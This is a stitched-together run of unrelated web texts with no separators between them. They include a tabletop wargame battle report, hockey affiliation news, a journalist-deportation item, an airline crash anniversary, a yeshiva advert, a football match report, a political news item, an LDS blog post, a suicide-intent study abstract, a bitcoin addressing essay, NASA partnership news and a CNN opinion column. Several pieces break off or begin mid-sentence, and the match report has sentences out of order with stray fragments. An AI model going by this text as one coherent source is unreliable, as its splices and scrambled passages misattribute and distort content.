Shock Army of Acontecimento (Top of Turn 2)
My opponent uses the Montesa to grenade launcher Lupe and the Moderators, downing both Moderators but Lupe’s panzerfaust sends him unconscious. Lupe elects to go prone again after passing her ARM roll. With no one watching the platform, he runs a paramedic up the stairs and tries to pick everyone back up, managing only to get the knight back up, but killing the Naga.
The Moderator Paramedic turns away from the incoming grenade, but it catches her in the small of the back, erasing her from existence. Lupe smashes herself to the stairs, bruising her ribs but avoiding the worst of the explosion. The other Moderator is sent sprawling and smashes his head against the stairs with a sickening crack, blacking out. Raising one hand, Lupe pushes her comlog above the lip of the Aristeia platform, its camera feeding telemetry on the Knight of Montesa to her retinal implant. She subvocalizes the arming and firing commands for her last panzerfaust round, and the dragon perched on her shoulder shoots up and over the lip of the platform. The impact sends the Montesa sprawling, his armor spraying coolant fluids into the air.
Without many orders left, the Bulleteer advances up the flank and hides behind the building that the remaining Naga is standing on. My opponent pushes the Tech Bee up the field with its irregular order, intending to push the next button. I ARO by planting a mine, and the Zero KHD gets pistol-whipped and dies.
Nomads (Bottom of Turn 2)
Bottom of turn 2, my Jaguar ADHL is frenzied, so I try to ADHL the Tech Bee, who flash pulses. We both miss. I shuffle the Prowler upfield and reveal it, just to score points. The Reverend Healer takes some pot shots at the Bulleteer, which passes its ARM roll and hides. I push the Reverend Healer up to the other side of the building from the Bulleteer and pick the Moderator Pitcher back up with her bot to get the order for later. The Intruder pushes up to the corner of the building, just in case I have to deal with some Naga and Bulleteer stuff on Turn 3.
A pretty uneventful turn for me. Last thing I do is block LoF from the Knight of Montesa with some smoke, push Lupe up and kill the Paramedic that tried to pick the Naga back up. I end my turn with Lupe prone and in suppression fire by the central terrain piece.
Turn 3
Shock Army of Acontecimento (Top of Turn 3)
My opponent tries to kill my Reverend Healer with a heavy shotgun, but he fails 1/2 of his rolls due to Mimetism. I drop an angry swarm of nanobees on his face but whiff my Jag’s last panzerfaust. He fails BTS and the REM goes down. The Healer passes her ARM roll with a 17! Some hot dice on ARM rolls this game!
The Knight and remaining Naga coordinated order to try to take out Lupe, but the Naga whiffs (hooray Mimetism!) and Lupe out dices the knight and drops him again. He ends up in range of the repeater I shot on Turn 1, so wasn’t going to have a good day even if he survived. For his final order, the Naga manages to drop the Reverend Healer, but also sets off the mine I dropped earlier, killing itself and the nearby Tech Bee. At this point, my opponent only had his Lieutenant and I think a Paramedic left, so he stuck out his hand and conceded the game.
Summary
Nomad Victory! I could’ve easily completed Classified Objective: Extreme Prejudice with my Intruder Lt, shuffled Lupe around to push buttons, and could’ve also put dudes in all the relevant zones, so we saved ourselves a few minutes and just called the game.
A pretty one-sided game, all in all. TAG possession is rough, and I had some pretty hot dice this game. I learned more about the capabilities of my hackers (they continue to be awesome). I’m liking deploying the Zeros as hackers, but it is a lot stronger when deploying second, so I can place the AHD and KHD appropriately. In most of my games, the Moran just dies a lot and doesn’t get to be a repeater, so that kinda sucks. He definitely is a priority target, and he is much more annoying to my opponents if I hide him somewhere with only huggable robots exposed, but this table didn’t leave me a ton of options… I suppose I could’ve stuck him under the stairs, but I didn’t think that far ahead.
I’ve been toying with the idea of taking a Spektr Deployable Repeater for Turn 2 shenanigans, but I think a better option is taking the Zero version and tossing it over the centerline to lock up some HI or REMs.
My poor Hellcat dies more often than not dropping in with AD:5, but I’m going to continue using him. I’m going to try to walk him on more often. That’s probably better anyway, especially with the HMG’s rangebands.
Big thanks to my opponent for taking it on the chin and being a great sport!CLEVELAND, Ohio -- The long-rumored deal that would join the Lake Erie Monsters with the Columbus Blue Jackets is expected to be announced within days, according to a report on the Columbus Dispatch website.
The Monsters, a member of the American Hockey League, would become the top affiliate of the Blue Jackets beginning next season. The Monsters are currently affiliated with the Colorado Avalanche and have a deal that runs through the 2015-16 season.
Columbus' top affiliate for the past five seasons has been the Springfield Falcons, but the Falcons have called a press conference for Friday, when they are expected to announce the end of their affiliation. That deal also ran through the 2015-16 season, but the two teams have agreed to exercise a mutual option to end the agreement early, according to the Dispatch.
The Monsters would not comment.
"It's not appropriate for us to comment right now," said Pam Frasco, the team's vice-president of marketing and communications. "We hope to be able to comment very soon. That's all we can say right now."
The Blue Jackets also refused comment, but the Dispatch reported that the announcement was likely to come next week and was expected to be a multi-year deal.
Speculation about the Monsters becoming a Columbus affiliate has been discussed ever since Dan Gilbert acquired the Monsters, along with the NBA Cleveland Cavaliers and Quicken Loans Arena, where the Monsters play. It gained steam in January when the AHL announced a five-team Pacific Division beginning next season, part of the long-awaited byproduct of the NHL's westward advancement in recent decades. The Avs were not part of the realignment.
Monsters Chief Operating Officer Mike Ostrowski told The Plain Dealer before the realignment announcement that he was not worried about the team's future.
"We're excited about how all this will play out,'' Ostrowski said. "We feel we have a first-class operation and the experience that lends itself to getting players prepared to play in the NHL in a downtown arena. We're going to see how it all plays out.''
The Blue Jackets have long tried to attract Cleveland hockey fans to Columbus games and this affiliation would certainly help with that as fans could follow the organization's top prospects. It would also make it easy for players and team officials to travel between the two cities for call ups, scouting, etc.
The Monsters played Grand Rapids on Thursday at the Q and at least one fan in attendance was pleased to hear about the possible deal.
Ryan Gaab, 26, of Strongsville, was asked if the prospect of the affiliation with Columbus excites him. "Yes. Definitely. I lived in Columbus for three years when I was at Ohio State. I went to many Blue Jackets games."
Would he attend more Monsters games if they are affiliated with Columbus? "Yeah, probably, to see the players who will be going to the Jackets and coming from them."About Don't Starve Shipwrecked Klei Entertainment has partnered with our friends at CAPY, creators of Superbrothers: Sword and Sworcery, Super Time Force and Below; to bring fans of Don’t Starve the latest single-player expansion: Don’t Starve: Shipwrecked!
In Don't Starve: Shipwrecked, Wilson finds himself stranded in a tropical archipelago. He must learn to survive all over again in this new environment filled with new biomes, seasons, and creatures.
Don’t let the tropical breeze lull you into |
CPJ he would be appealing the decision.
"This deportation sends a chilling signal that authorities don't want independent reporting on sensitive Kurdish issues in southeast Turkey," said CPJ Deputy Director Robert Mahoney. "We call on the government in Ankara to allow journalists to report freely from the region and to lift the deportation order against Frederike Geerdink."
Uzunköprü told CPJ that the governor of southeastern Hakkâri province was able to deport the journalist under a rule that allows regional authorities to expel foreigners suspected of wrongdoing. Geerdink was accused by authorities of illegally entering a restricted zone and engaging in "an act that helped a terrorist organization," according to The Associated Press.
Geerdink has been indicted previously in Turkey for reporting on the Kurdish minority. She was charged in February 2015 for allegedly "making propaganda" for the banned Kurdistan Workers' Party and Union of Communities in Kurdistan, but was acquitted in April, according to reports.A Southwest Airlines jet sit on a roadway after it crashed through a security wall on December 8, 2005. (Credit: Tim Boyle/Getty Images)
— Today marks 10 years since a Southwest Airlines plane skidded off the runway at Midway Airport, slamming into an automobile and killing a child.
The accident happened on a snowy evening around 7:14 p.m. on Dec. 8, 2005.
Flight 1248 landed on runway 31C and rolled through a blast fence and then a perimeter fence before stopping near the intersection of 55th Street and Central Avenue just outside the airport property.
The plane came to a stop on top of a vehicle with a family of five people inside. A six-year-old child, Joshua Woods, of Leroy, Ind., was killed, and the four others were injured.
According to an account in the Chicago Tribune, the boys father, Leroy, had intended to take a different route, down Cicero, but traffic was slowed by the snow, so he decided to drive down Central Avenue instead.
According to the National Transportation Safety Board:
“The probable cause of this accident was the pilots’ failure to use available reverse thrust in a timely manner to safely slow or stop the airplane after landing, which resulted in a runway overrun. This failure occurred because the pilots’ first experience and lack of familiarity with the airplane’s auto brake system distracted them from thrust reverser usage during the challenging landing.”
In April, 2007, the family quietly settled a negligence lawsuit filed against Southwest and Boeing, the maker of the 737 airliner.
Eighteen of the 103 people on the flight, which departed from BWI Airport in Baltimore, suffered minor injuries.
As a result of the crash, the FAA proposed adjusting safety margins when determining runway stopping distances, especially on shorter fields like Midway.
Also on this day in 1972, a United Airlines plane crashed on approach to Midway, killing 45 people. The aircraft struck trees and then roofs along West 71st Street before crashing into a house.(Communicated Content)
The Yeshiva World was hit by a storm this past Elul with the opening of a brand new first of its kind Yeshiva with a revolutionary approach to accommodating its Bochurim in every way. This Yeshiva was founded by the Bochurim.
After a group of Bochurim recently approached R’ Moshe Gutfreund to spearhead this exciting project, he enthusiastically implemented the establishment this past Elul of Yeshivas Lev Elimelech.
A group of Bochurim that wanted serious learning and guidance in many different areas recruited top Rabbeim to accommodate every spiritual and practical need without concern for any other factor other than each individual Bochur’s wellbeing.
R’ Gershon Gutfreund, veteran Rosh Kollel and experienced Mechanech, has been appointed Ram of Iyun Seder. His clear, engaging and in depth style of Lomdus combined with broad Yedios has endeared him to the Talmidei Hayeshiva.
Sugyos learned in the yeshiva are determined by the Bochrim in conjunction with the Rebbeim.
In addition, a dynamic group of Chashuv Yungeleit have been hand picked to learn and interact with the Bochrim. Along with this a prestigious and well established Kollel led by Rav Chaim Hendler learns side by side with the yeshiva, greatly enhancing the electric Ruach in the Bais Medrash.
Every single one of the Talmidei Hayeshiva has testified to the great Hatzlocha and satisfaction they experienced elul zman in this vibrent Makom Torah established specifically for their individual strengths and preferences.
B”H the Yeshiva is expanding this winter Zman and planning to accommodate all qualified Bochrim who wish to join this unique learning environment through out the Zman.
Based in Lakewood. Ages 19-24. This is an alternative to Eretz Yisroel, BMG etc.
All questions, comments and how to apply please reach out to us at 732-551-7180. Looking forward to bringing you on board.Unstoppable Dons march into League 1
A superb strike from Lyle Taylor and a late penalty from Bayo Akinfenwa earned promotion for AFC Wimbledon on a fantastic day for the club.
Taylor’s brilliant goal after a great ball in from Callum Kennedy put the Dons in charge against Plymouth and Akinfenwa's cool spot-kick capped a magnificent season for Neal Ardley’s men. Over 21,000 Dons fans celebrated the 2-0 win in style at the famous stadium and it was a fully deserved victory on the day.
With an 11-day gap since Wimbledon booked their place at Wembley by beating Accrington Stanley, it had seemed like a long build-up to the big day, but now it was finally here. Both sets of supporters created a brilliant atmosphere at Wembley as we approached kick-off.
There was just one change to Neal Ardley’s starting line-up with Connor Smith thrown straight back in after injury in place of Sean Rigg. Wimbledon settled into the game well and there was a half chance early on when a Callum Kennedy free-kick fell for Lyle Taylor, but he was unable to get a proper connection and Plymouth goalkeeper Luke McCormick gathered comfortably.
In the first half hour, Wimbledon were looking for the height of Tom Elliott at every opportunity and the towering striker was causing problems galore. It was his smart flick-on that sent Taylor racing clear on the right for another sight of goal, but his shot was deflected into the side netting. Another half chance followed when the subsequent corner was only half cleared and Jake Reeves volleyed just wide.
minute though when Jake Jervis found space in the box, but his shot was blocked.ndWith Wimbledon’s back four producing a solid start, Plymouth barely had a sight of goal in the first half an hour. All of Wimbledon’s best moments came through Elliott and it was another of his headers that so nearly created a chance for Paul Robinson, but Plymouth defender Kelvin Mellor just got there first. With Dannie Bulman and Jake Reeves controlling matters in midfield, Wimbledon had plenty of possession in the first half an hour. Plymouth did threaten in the 32
As the first-half wore on, Plymouth gradually started to come into it and Darius Charles showed what he is all about with great defending to stop Jake Jervis getting in at the far post after a lovely ball in from Gregg Wylde. These two teams had been so closely matched in previous meetings during the regular season and the 0-0 score line at half-time suggested it was going to be tough to separate them again.
Plymouth came out the traps fast at the start of the second-half, but Wimbledon remained resolute at the back. At the other end, there was relief for Plymouth when Carl McHugh got a defensive clearance all wrong and his lob flashed just past the post. At this stage, the Dons were really piling forward as they played towards the end containing Wimbledon’s great support.
Though Wimbledon were forced to defend deep as Plymouth started to gain more possession, gaps started to open up for Wimbledon to exploit. A great chance so nearly materialised for Wimbledon when Barry Fuller’s pass picked out Bulman in space down the right, but he was just unable to slide a pass through for Barcham, who was waiting on his own in the middle.
Derek Adams’ side had their best spell of the game midway through the second-half and twice in a matter of minutes Wimbledon needed Kelle Roos to be alert. First, the Dutch goalkeeper got down well to save a long-range free-kick from Graham Carey and then he held on well to a header from Peter Hartley.
With 68 minutes on the clock, Neal Ardley made a change with Jon Meades earning deserved reward for his excellent season and comeback from injury. Meades replaced Smith and there was another change shortly afterwards with Bayo Akinfenwa entering the fray for Tom Elliott.
The changes seemed to reinvigorate Wimbledon and the all-important opener followed 12 minutes from the end of normal time. The ball was only half cleared to Callum Kennedy and his wonderful ball in was met with a superb low finish from Lyle Taylor. It was typical of the form that Taylor had shown all season and the celebrations were not bad too as he wheeled away to give his manager a hug on the touchline.
The goal had sparked ecstatic scenes among the Wimbledon support and they were so nearly celebrating a second when Barry Fuller was sent racing through, but he was just foiled by McCormick. Akinfenwa was also denied by the Plymouth goalkeeper in a frantic finale, but he scored from the spot to seal a fantastic promotion after Ade Azeez had been brought down in the box. What an achievement and what a way to do it for Neal Ardley’s men.
AFC Wimbledon: Kelle Roos, Barry Fuller, Callum Kennedy, Paul Robinson, Darius Charles, Andy Barcham, Dannie Bulman, Jake Reeves, Tom Elliott (Bayo Akinfenwa), Lyle Taylor (Ade Azeez), Connor Smith (Jon Meades).
Picture credit: Stuart Butcher, Pro Sports Images.On Thursday, Fresno State University canceled lecturer Lars Maischak’s scheduled classes for the next week. The cancellation comes amid a Secret Service investigation that followed a Breitbart News report on Maischak’s “Trump must hang” tweet.
On April 8, Breitbart News reported that the tweet, which has since been pulled, said:
To save American democracy, Trump must hang. The sooner and the higher, the better. #TheResistance#DeathToFascismhttps://t.co/DSsV53sbO2 — Lars Maischak (@LarsMaischak) February 18, 2017
Later that same day, the Fresno Bee quoted Maischak dismissing the Breitbart report, saying, “The function of articles like the one produced by Breitbart and affiliates is to whip up a digital lynch-mob of people sending threats and insults to my email and Twitter accounts, with the ultimate goal of silencing dissenters.”
On April 10, Maischak emailed the Bee to say that university president Joseph Castro was “allowing himself to be instrumentalized for a right-wing smear campaign” if he took the Breitbart News report to heart.
On Wednesday, Maischak closed his Twitter account. He also apologized to the university, and president Castro said the apology was a “good first step.” But Castro indicated an investigation into Maischak’s tweets was ongoing.
On April 12, the Bee reported that the FBI and Secret Service were “probing” Maischak’s tweets. And Castro said he had “been in frequent contact with the FBI, Secret Service and Homeland Security since last Saturday.”
On April 13, the Bee reported that Fresno State officials cancelled Maischak’s Monday and Tuesday classes for next week.
Maischak teaches history, specializing in the 19th century United States. He also teaches a course on intellectual history, called “Marx and Hegel for Historians.”
AWR Hawkins is the Second Amendment columnist for Breitbart News and host of Bullets with AWR Hawkins, a Breitbart News podcast. He is also the political analyst for Armed American Radio. Follow him on Twitter: @AWRHawkins. Reach him directly at awrhawkins@breitbart.com.Among some members of the Church of Jesus Christ of Latter-day Saints, it has become increasingly common to openly and publicly criticize teachings, directions, decisions, and policies of the prophets and apostles of the church.
I recognize that this trend is at least partially the consequence of a more general societal shift in attitudes and perceptions of privacy; a shift that is influenced by blurring lines between the public and the private driven by information technology and the Internet.
As long-time readers of my blog know, I am very troubled by this trend. I am troubled by the nonchalance with which members of the church confidently declare that they know that the prophets and apostles are wrong about this-or-that.
While I have have written extensively about this and related topics, I recognize that my posts are long, disconnected, and probably not very accessible to casual readers. When you are discussing the issue in the comments of social media, pointing to pages and pages of blog posts written over the course of several years just doesn’t work well.
So here is my attempt to distill my reasoning into a single, more succinct and consumable post:
1. The church’s system of requiring unanimity among the First Presidency and Quorum of the Twelve acts as a counter-balance to individual fallibility. Declarations made by them in unanimity are less likely to be in error.
2. Authentic revelation is bound to stewardship. It is contrary to the order of the church for an individual to proclaim revelation outside of his or her stewardship. The only group with stewardship over the whole church and the world are the 15 prophets and apostles.
3. Saying that the prophets cannot receive clear messages is really saying that God is not powerful enough to make His will known to them; it is not an expression of doubt in the prophets, but of doubt in a God who speaks. If God has spokesmen at all, He is powerful enough to make His will known to them (even if knowing why it is His will is beyond their ken). If He can’t make His will known to even His own authorized representatives, then He isn’t a very powerful God and appointing spokesmen doesn’t make any sense since it provides no advantage over not having spokesmen.
4. Saying that you know that the prophets and apostles are wrong is a declaration that they are acting contrary to God’s will. But it raises the question of the means by which you determine that it is contrary to God’s will, and why that means is less fallible than that of the prophets. In other words, why would God reveal His will to you instead of his official spokesmen? Why is your access to God’s will more reliable?
5. The fact of prophetic fallibility might be a useful rubric for understanding some issues in the history of the church in retrospect, but it provides no help in determining whether or not any given pronouncement by the prophets and apostles in the present is in error. The possibility of error does not by itself help us identify whether or not any specific policy or teaching is erroneous– that requires an appeal to some other measure of error, and a defense of why that measure is less fallible than the united, authorized voice of the prophets and apostles.
In other words, citing prophetic fallibility is alone insufficient to establish that a given policy or doctrine of the church is wrong. You actually have to make the case for:
Why it is contrary to God’s will
How you know that it is contrary to God’s will
Why your access to determine God’s will is less fallible than the unanimous voice of those he has appointed official spokesmen
Why it is not a violation of the principle of stewardship
Why God needs public disagreement to correct them instead of correcting them Himself
Reconcile the answers to the above with why God would appoint spokesmen at all if He can’t make His will known to them?
I think that making that case is very hard to do without either making the very concept of prophets and apostles incoherent, or concluding that the leaders of the LDS church are not in fact authentic prophets.
I realize that that is not as succinct as you might have hoped, but it is at least more accessible, and the best I can do at the moment.
From the prophet Joseph Smith until the present, the prophets have declared both that they are the official, authorized spokesmen for God, with the authority to bind and loose on earth and in heaven and that the road to apostasy starts with losing confidence in the church and its authorized leaders.
Can faithful members of the church disagree with the prophets and apostles? Yes. Absolutely. But there is a difference between disagreeing with them and LOSING CONFIDENCE in them.
It is certainly possible to tentatively disagree with them, while still remaining confident that they are God’s official spokesmen, that He is guiding His church, and that He can and will correct them if they are wrong.
Those who believe that this is God’s church and that He guides it through living prophets and apostles are appropriately hesitant to undermine them publicly, even if they disagree or don’t understand. They have a sense of humility and deference to the system of stewardship and presiding councils that God has established for leading His church. Their confidence is not in fallible men, but in a God who speaks and leads His church.
Public criticism and disagreement with the prophets doesn’t instantly make you an apostate. But it does put you clearly on the road to apostasy. It is a manifestation of the spirit of apostasy whether or not one has yet become an apostate. Public dissent and opposition are inherently a vote of no confidence.
If you disagree with the apostles and prophets on some matter, what you need is to strengthen your confidence in the Lord and His church. Consider the arguments articulated above and seek a personal confirmation from God through the Holy Spirit that He is guiding the church and that the apostles are his spokesmen. Be patient and humble while you learn to trust in Him and His organization.
If you are interested in more detailed arguments, here are some of my previous blog posts on the topic:
And this in-depth article by Duane Boyce from Interpreter: A Journal of Mormon Scripture is also excellent:
Also consider checking out this excellent related post by my wife, Chastity:
UPDATE JAN 18, 2016:
I wrote a supplementary, follow-up post to this post that may be of interest to readers:
Revelation is Real Even in a Policy Meeting in the LDS Church
Another valuable resource on this topic is the following post from Jeff G. at the Millennial Star blog:This article is distributed under the terms of the Creative Commons Attribution 4.0 International License ( http://creativecommons.org/licenses/by/4.0/ ), which permits unrestricted use, distribution, and reproduction in any medium, provided you give appropriate credit to the original author(s) and the source, provide a link to the Creative Commons license, and indicate if changes were made. The Creative Commons Public Domain Dedication waiver ( http://creativecommons.org/publicdomain/zero/1.0/ ) applies to the data made available in this article, unless otherwise stated.
Suicide intent data from 5212 participants was included in the analysis. A significant association between suicide intent and gender was found, where ‘Serious Suicide Attempts’ (SSA) were rated significantly more frequently in males than females (p <.001). There was a statistically significant gender difference in intent and age groups (p <.001) and between countries (p <.001). Furthermore, within the most utilised method, intentional drug overdose, ‘Serious Suicide Attempt’ (SSA) was rated significantly more often for males than females (p <.005).
Data on suicide attempts (acquired from the EU-funded OSPI-Europe project) was obtained from eight regions in Germany, Hungary, Ireland and Portugal. Suicide intent data was categorized into ‘Non-habitual Deliberate Self-Harm’ (DSH), ‘Parasuicidal Pause’ (SP), ‘Parasuicidal Gesture’ (SG), and ‘Serious Suicide Attempt’ (SSA), applying the Feuerlein scale. Gender differences in intent were explored for significance by using χ 2 -tests, odds ratios, and regression analyses.
Suicide accounts for over 58,000 deaths in Europe per annum, where suicide attempts are estimated to be 20 times higher. Males have been found to have a disproportionately lower rate of suicide attempts and an excessively higher rate of suicides compared to females. The gender difference in suicide intent is postulated to contribute towards this gender imbalance. The aim of this study is to explore gender differences in suicide intent in a cross-national study of suicide attempts. The secondary aims are to investigate the gender differences in suicide attempt across age and country.
Background
Suicidal behaviour is a significant public health problem. Suicide is the 13th leading cause of death globally [1] and accounts for over 58,000 deaths in Europe a year [2]. Suicide appears to be a male phenomenon, as death rates from suicide are four-to-five times higher for men than for women across the European Union [3].
For suicide attempts, for which the rate is estimated to be 20 times higher than that of suicides [4], the gender gap is less pronounced, with females demonstrating a disproportionately higher rate of suicide attempts compared to males [5]. The Male:Female ratio of age-standardized suicide rates globally is 1.9 [4]. This phenomenon of men completing suicide more frequently than females, while females engage significantly more frequently in suicide attempts, is known as the gender paradox of suicidal behaviour [6, 7].
Many studies have sought to explain the gender gap in suicidal behaviour by addressing lethality, suggesting that females survive suicide attempts more often than males because they use less lethal means [8, 9], and their outcomes are less lethal compared to males even when using the same method [8]. Major Depression (which is approximately twice as common in females, and is known to underlie more than half of all suicides) has also been proposed to account for a higher incidence of suicidal behaviours in females [10, 11]. This could be a contributing factor to the lower rates of suicidal behaviour in males overall, however, this does not account for the excessive rate of completed male suicides compared to female suicides. Psychosocial risk factors have also been found to contribute to the discrepancy of rates between male and female suicidal behaviour, where unemployment, retirement and being single were all significant risk factors for suicide in males, whereas no significant risk factors other than mental illness were reported for females [11, 12]. So far, studies aimed to disentangle the gender gap have reported inconsistent findings; therefore, suicide intent has been at the forefront of suicide research in order to contribute to the explanation of this gender imbalance.
Suicide intent in this context is characterised as “an individual’s desire to bring about his or her own death” [13], which specifically excludes motives for attempting suicide. Studies exploring intent have found that the type of suicide intent at the time of a suicide attempt is associated with an elevated risk of completed suicide [14, 15], which is particularly prudent within the female population, where the association between the type of suicidal intent and completed suicide is markedly higher [15].
To date, there have been some studies that have investigated this relationship between suicidal intent and gender. Theorists investigating suicide intent argue that the excess rate of attempted suicide in females, plus the stronger association between suicide attempts and death in males, is indicative of a stronger degree of intent to die in males than females [16, 17]. Some studies addressing gender differences in intent have reported no significant differences between males and females [6, 18–20] while others revealed significant associations between suicide intent and gender [15, 21, 22]. Although previous studies have documented gender differences in suicide intent, the findings need to be interpreted in light of methodological issues such as small sample sizes, absence of consistent operational terms of suicide intent and the assessment of intent and motives as a single concept. In order to fully comprehend the gender paradox in suicidal behaviour, further research to explicate this gender gap in suicide intent remains to be explored. The present study aims to overcome the methodological issues from previous research by utilising both standardised definitions and a large database retrieved cross-nationally for increased validity and effect.As long as a system requires technical expertise for operation, it will be relegated to use by a small group of technologists.
If every person who walked onto an elevator was presented with a keyboard and DOS-style command line terminal, most of us would be looking for the stairs. The nerds among us may eagerly seek out the proverbial programmable elevators, but the average person just wants to push a button to get from one floor to the next, not master gravity-defying vehicles.
Bitcoin addresses have long been a point of confusion for new users introduced to the technology. It’s difficult explaining a bitcoin address through analogy, because none of the comparisons quite match. They’re kind of like email addresses – free to create and unlimited in number – but they’re randomly assigned, and difficult to memorize, more like a phone number. But bitcoin addresses are not always bidirectional like a phone number.
Suppose you receive money from a friend, and later you want to send some money back to him. The address you received funds from initially may belong to your friend or just the bitcoin service he uses. Funds sent to the address may arrive to your friend – assuming he has backed up his wallet – or they may just line the bitcoin service’s pockets, never to be refunded.
Also, the mere receipt of a payment, unlike a phone call or email, rarely helps identify individual payers or explain why the transfer was made, since there are no area codes or analogues to caller ID, nor invoice numbers. The small number of users who investigate the details of bitcoin’s inner workings will come away with a vague impression that sending funds to the same address multiple times (referred to as “address reuse” by the bitcoin community) is somehow dangerous.
This vague impression, linked to poorly understood privacy implications and the seemingly distant threat of cryptographic attacks on reused private keys, may not ward users off from the very real dangers of address reuse.
When it comes to addresses, bitcoin resembles the Internet before DNS. Today, we visit websites through user-friendly domain names like ‘Google.com’, but early Internet adopters directed their computers to connect to other networks by referencing inscrutable-looking IP addresses like ‘209.222.18.222’.
IP addresses remain a core part of the protocols that help devices connect, but system designers and engineers have since succeeded in hiding this from users by tying domain names to IP addresses behind the scenes. In doing so, they’ve allowed users to interact with recognizable identities, like the Google search engine.
Promise and pitfalls
As bitcoin services mature and seek to include new audiences, they will also need an address resolution system that ties user-unfriendly bitcoin addresses to the identities of individuals and businesses that users have financial relationships with.
However, as we abstract bitcoin addresses away from the user interface, we must take caution.
The goal is to make it easier for users to pay each other, while dealing with the fundamental technical challenges related to address reuse. Tempting as it may be to build traditional third-party lookup systems, this naive approach will turn into a security and privacy quagmire of personal information disclosure and theft. They would be the kind of high-value databases that blackhat hackers seek out as reconnaissance for subsequent attacks on individuals.
Whenever possible, we must not ask users to give up on expectations of security and privacy in order to gain the software usability they require.
While consumer demands for security and privacy vary, businesses are rarely willing to disclose their income and expense data – which may contain trade secrets – to business partners, competitors or the world at large. Likewise, we should not expect individual users to divulge their income and spending habits to their friends, preferred service providers and unfamiliar analytic companies.
Making this disclosure a prerequisite for bitcoin use would have dire implications for adoption. If it all possible, we should seek easy-to-use payment identifiers that meet business and individual expectations of security and privacy without the inherent pitfalls of trusted third parties.
Learning from history
Bitcoin developers have addressed other user pain points in the past by repurposing old cryptographic research for bitcoin applications.
In 2013, bitcoin developers addressed the headache of wallet backups by applying concepts such as key-derivation functions and hierarchical key management, dating back to the 1990s and early 2000s. Whereas old bitcoin wallets required users to constantly create new wallet backups, a user could backup a hierarchical wallet once when she first created the wallet, while still yielding a virtually unlimited number of bitcoin addresses to cover future transactions.
The most promising path to a user-friendly bitcoin addressing system dates back even further in the annals of cryptography to the 1970s. This decade marked a groundswell of research on crucial technologies that underpin today’s Internet.
[post-quote]
Many of the cryptographers of this era were ethically motivated, and saw their work as pivotal in creating an Internet that promoted free speech and secure global commerce, rather than one dominated by government surveillance and corporate control.
In the mid-to-late ’70s, three of the era’s most prominent cryptographers – Whitfield Diffie, Martin Hellman, and Ralph Merkle – jointly produced one of these key technologies.
Computers that want to communicate securely and privately must first exchange keys used to encrypt and decrypt messages. Diffie, Hellman, and Merkle developed a way for two computers with no prior interaction to create shared keys. The seemingly magical product of this protocol – now known as Diffie-Hellman-Merkle key exchange – is a set of keys known only by the two parties involved, regardless of the presence of any eavesdroppers.
This is like being able to conduct a loud conversation with a friend in a room of spies without any risk of being overheard, a seeming impossibility created through the brilliance of asymmetric cryptography.
Bitcoin developers have been working to create Diffie-Hellman-Merkle-derived addressing schemes for months now, but a mobile-friendly version was recently codified in Bitcoin Improvement Proposal (BIP) 47 by Justus Ranvier, who refers to these new addresses as Reusable Payment Codes.
Major bitcoin wallets, software library authors and exchanges are currently working to deploy Reusable Payment Codes in their businesses in 2016. These will allow businesses to better protect user privacy on the blockchain, while retaining the ability to identify their customers when such identification is required.
Bitcoin users will soon be able to look up their friends through social networks and other familiar identifiers such as email addresses. Businesses that implement Reusable Payment Codes will be smoothing over the bitcoin user experience, and set the peer-to-peer finance ecosystem up to invite its next several million more users.
Vintage telephone image via ShutterstockWASHINGTON: NASA has collaborated with four US companies to develop intra-vehicular activity space suits and new launch vehicle capabilities among other advances in space exploration.The partnerships build on the success of NASA's commercial spaceflight initiatives to leverage NASA experience and expertise into new capabilities.The Collaborations for Commercial Space Capabilities (CCSC) initiative is designed to advance private sector development of integrated space capabilities through access to NASA's spaceflight resources and ensure emerging products or services are commercially available to government and customers within approximately the next five years.ATK Space Systems, in Beltsville, Maryland, is developing space logistics, hosted payload and other space transportation capabilities, NASA said.Final Frontier Design, in Brooklyn, New York, is developing intra-vehicular activity space suits.According to NASA, Space Exploration Technologies, in Hawthorne, California, is developing space transportation capabilities that could be used to support missions into deep space.United Launch Alliance, in Centennial, Colorado, is developing new launch vehicle capabilities to reduce cost and enhance performance."Companies in all shapes and sizes are investing their own capital toward innovative commercial space capabilities," said Phil McAlister, director of commercial spaceflight development at NASA Headquarters in Washington."These awards demonstrate the diversity and maturity of the commercial space industry. We look forward to working with these partners to advance space capabilities and make them available to NASA and other customers in the coming years," said McAlister.The Space Act Agreements (SAAs) have no exchange of funds, and each party bears the cost of its participation. NASA's contributions could include technical expertise, assessments, lessons learned, technologies and data.John D. Sutter is a columnist for CNN Opinion and creator of CNN's Change the List project. Follow him on Twitter, Facebook or Instagram. Email him at ctl@cnn.com. The opinions expressed in this commentary are solely those of the author.
(CNN) There seem to be two prerequisites for the modern U.S. presidency.
1. Being fabulously rich.
2. Successfully pretending you're not.
U.S. Sen. Ted Cruz tried his hand at No. 2 last week as he announced his bid for the White House. With his back awkwardly turned to the TV cameras, and a drive-through-worker style microphone clipped to his ear, Cruz relayed a version of his life story, often in third person, to a student crowd at Liberty University in Virginia.
"Imagine another teenage boy being raised in Houston... experiencing challenges at home... heading off to school over 1,000 miles away from home in a place where he knew nobody. Where he was alone and scared. And his parents going through bankruptcy meant there was no financial support at home -- so at the age of 17 he went to get two jobs to help pay his way through school. He took over $100,000 in school loans, loans I suspect a lot of y'all can relate to. Loans, that I'll point out, I just paid off a few years ago."
Poor Cruz.
All those loans.
And he's not the wealthiest person whose name has been thrown into the hat as a potential candidate for 2016, according to estimates compiled by Crowdpac, a nonpartisan website that aggregates stats about potential political candidates.
Crowdpac estimates Hillary Clinton's net worth to be $21.5 million (more if you include Bill). Jeb Bush's: $10 million. Even Elizabeth Warren, enemy of Wall Street, champion of populist financial-sector reform, is estimated to be worth $3.7 million to $10 million, according to CNN Money.
Of the 26 potential candidates identified by Crowdpac, only four -- Joe Biden, Marco Rubio, Bernie Sanders and Mike Pence -- are estimated to be worth less than $1 million.
Apart from Cruz, no one has officially declared for president, so the names of those who may run are still largely a matter of speculation. Still, these folks deserve examination. The richest potential contenders are Rick Snyder, a former venture capitalist (net worth: $200 million); Al Gore (also $200 million); and Carly Fiorina, a former tech executive (net worth: $80 million).
So, mostly millionaires.
And two almost-quarter-billionaires.
These folks may want to represent an America where median wealth is only $44,900. Meanwhile, the national median income is about $54,000 per year, and one in five children lives below the federal poverty line, which is about $24,000 annually for a family of four.
The gap between rich and poor in the United States has been growing since the 1970s -- and it's wider than in almost any other industrialized country. (Iran and Nigeria are better.)
None of these would-be candidates can claim to represent that America.
None comes close.
When presidents were of modest means
It's time for a middle-class president.
Or, at the very least, a middle-class presidential candidate.
It's not impossible, and there would be important benefits.
First, we just have to look to the past to see that it can be done.
